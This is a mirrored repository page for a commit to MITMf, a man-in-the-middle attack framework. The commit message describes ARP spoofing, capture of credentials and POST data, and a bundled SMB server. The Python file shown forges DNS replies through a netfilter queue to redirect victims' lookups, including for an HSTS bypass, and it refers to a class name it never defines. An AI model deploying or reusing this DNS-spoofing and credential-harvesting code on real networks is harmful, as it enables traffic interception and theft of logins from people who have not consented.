mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-05 20:42:20 -07:00
9712eed4a3
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds. - Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all. - Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code) - The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2) - An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons: 1) Impacket is moving towards SMB2 support and is actively developed 2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file) 3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out) - Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!) - Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable. - POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use) - Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out) - Some plugins are missing because I'm currently re-writing them, will be added later - Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
130 lines
No EOL
3.2 KiB
Python
130 lines
No EOL
3.2 KiB
Python
|
|
class DNSnfqueue():
|
|
|
|
hsts = False
|
|
dns = False
|
|
hstscfg = None
|
|
dnscfg = None
|
|
_instance = None
|
|
nfqueue = None
|
|
queue_number = 0
|
|
|
|
def __init__(self):
|
|
self.nfqueue = NetfilterQueue()
|
|
t = threading.Thread(name='nfqueue', target=self.bind, args=())
|
|
t.setDaemon(True)
|
|
t.start()
|
|
|
|
@staticmethod
|
|
def getInstance():
|
|
if _DNS._instance is None:
|
|
_DNS._instance = _DNS()
|
|
|
|
return _DNS._instance
|
|
|
|
@staticmethod
|
|
def checkInstance():
|
|
if _DNS._instance is None:
|
|
return False
|
|
else:
|
|
return True
|
|
|
|
def bind(self):
|
|
self.nfqueue.bind(self.queue_number, self.callback)
|
|
self.nfqueue.run()
|
|
|
|
def stop(self):
|
|
try:
|
|
self.nfqueue.unbind()
|
|
except:
|
|
pass
|
|
|
|
def enableHSTS(self, config):
|
|
self.hsts = True
|
|
self.hstscfg = config
|
|
|
|
def enableDNS(self, config):
|
|
self.dns = True
|
|
self.dnscfg = config
|
|
|
|
def resolve_domain(self, domain):
|
|
try:
|
|
mitmf_logger.debug("Resolving -> %s" % domain)
|
|
answer = dns.resolver.query(domain, 'A')
|
|
real_ips = []
|
|
for rdata in answer:
|
|
real_ips.append(rdata.address)
|
|
|
|
if len(real_ips) > 0:
|
|
return real_ips
|
|
|
|
except Exception:
|
|
mitmf_logger.info("Error resolving " + domain)
|
|
|
|
def callback(self, payload):
|
|
try:
|
|
#mitmf_logger.debug(payload)
|
|
pkt = IP(payload.get_payload())
|
|
|
|
if not pkt.haslayer(DNSQR):
|
|
payload.accept()
|
|
return
|
|
|
|
if pkt.haslayer(DNSQR):
|
|
mitmf_logger.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
|
if self.dns:
|
|
for k, v in self.dnscfg.items():
|
|
if k in pkt[DNSQR].qname:
|
|
self.modify_dns(payload, pkt, v)
|
|
return
|
|
|
|
payload.accept()
|
|
|
|
elif self.hsts:
|
|
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
|
|
for k,v in self.hstscfg.items():
|
|
if v == pkt[DNSQR].qname[:-1]:
|
|
ip = self.resolve_domain(k)
|
|
if ip:
|
|
self.modify_dns(payload, pkt, ip)
|
|
return
|
|
|
|
if 'wwww' in pkt[DNSQR].qname:
|
|
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
|
|
if ip:
|
|
self.modify_dns(payload, pkt, ip)
|
|
return
|
|
|
|
if 'web' in pkt[DNSQR].qname:
|
|
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
|
|
if ip:
|
|
self.modify_dns(payload, pkt, ip)
|
|
return
|
|
|
|
payload.accept()
|
|
|
|
except Exception, e:
|
|
print "Exception occurred in nfqueue callback: " + str(e)
|
|
|
|
def modify_dns(self, payload, pkt, ip):
|
|
try:
|
|
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
|
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
|
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
|
|
|
if self.hsts:
|
|
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
|
for i in ip:
|
|
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
|
mitmf_logger.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
|
payload.set_payload(str(spoofed_pkt))
|
|
payload.accept()
|
|
|
|
if self.dns:
|
|
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
|
mitmf_logger.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
|
payload.set_payload(str(spoofed_pkt))
|
|
payload.accept()
|
|
|
|
except Exception, e:
|
|
print "Exception occurred while modifying DNS: " + str(e) |